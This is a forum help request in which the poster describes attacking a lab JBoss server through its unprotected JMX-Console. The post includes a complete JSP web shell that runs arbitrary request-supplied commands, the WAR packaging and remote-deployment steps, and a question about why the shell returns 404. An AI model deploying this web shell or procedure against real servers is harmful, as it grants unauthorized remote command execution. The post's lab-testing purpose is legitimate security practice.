breaking jboss with a browser? not happening
I have been given task to break into jboss application by my senior sec manager at my company.
Its a hacking challenge staged in a test lab This is what i have been given. A web-access to jboss.
Yes that pretty much it<3. He believes in less is more philosophy. With some get to start working info.
I have been told that a vulnerability exists inthe application and its no 0 day exploit its an known vulnerability.
It is set as an open-book challenge i can get help anywhere i like. So what i did so for?
Yes i google ; but i also run a nessus scan and the scan brought me one HIGH vulnerability.
Its has to do with the default Jboss installation using the JMX-Console. Its not a new vulnerability
i was able to reach this conclusion as i start googling. This particular vulnerabilityis very popular;
I was saying to myself that my problems are over and i would be break it into jboss in record time.
But that has been largely un-true. Why? Well if it wasn't true i wouldn't be here. I did the following (in steps)
attack vector: deployment scanner feature
1.confirmed the default installation (by accessing localhost:9090) in my case its
9090 not 8080 as in hacking literature. Probably this is because em using a new version (idk exact reason)
2.i wrote this jsp script(cmd.jsp) astold in sites.
<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform"ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") +"<BR>");
Process p =Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>
3.next i create a web.xml file to be placed in WEB-INF folder
<?xml version="1.0" ?>
<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
version="2.4">
<servlet>
<servlet-name>Command</servlet-name>
<jsp-file>/cmd.jsp</jsp-file>
</servlet>
</web-app>
4.I complied the file cmd.jsp by placing the web.xml file in WEB-INF folder
jar cvf cmd.war WEB-INF cmd.jsp
5. I put this file in http-apache server. File cmd.war reside at htdocs folder. Can be accessed by url: mywebserver:80/cmd.war
6.i go back to jboss defualt page and navigate myself to jboss.deploymentpage.
7. in the addurl tab i enter path for my cmd.war file as
8. next i goto victim webserver in attempt to access my uploaded application http://victim:9090/cmd/cmd.jsp
9. i get HTTP STATUS 404- /cmd/cmd.jsp
my app is suppose to be hot deployed by the jboss; but this is not the case coz even after 10-20 times after u have access the file i get the same error page. I want to know what is the reason for the behavior. I know there exists other attack vector (e.g rmi and etc) but i want to stick to this until i don't figure out the reason for this failure of exploit.
Em i compiling the .jsp file with incorrect syntax? do i need to have tomcat server installed instead? I read it on internet that there could be some problems in the jboss trying to get reverse shell on your web-server as jboss is it work in bind-shell mode only? I'm really clueless to what i happening i spent 12 works on this single attack vector but em not making head-ways.
jboss gurus help me.
thanks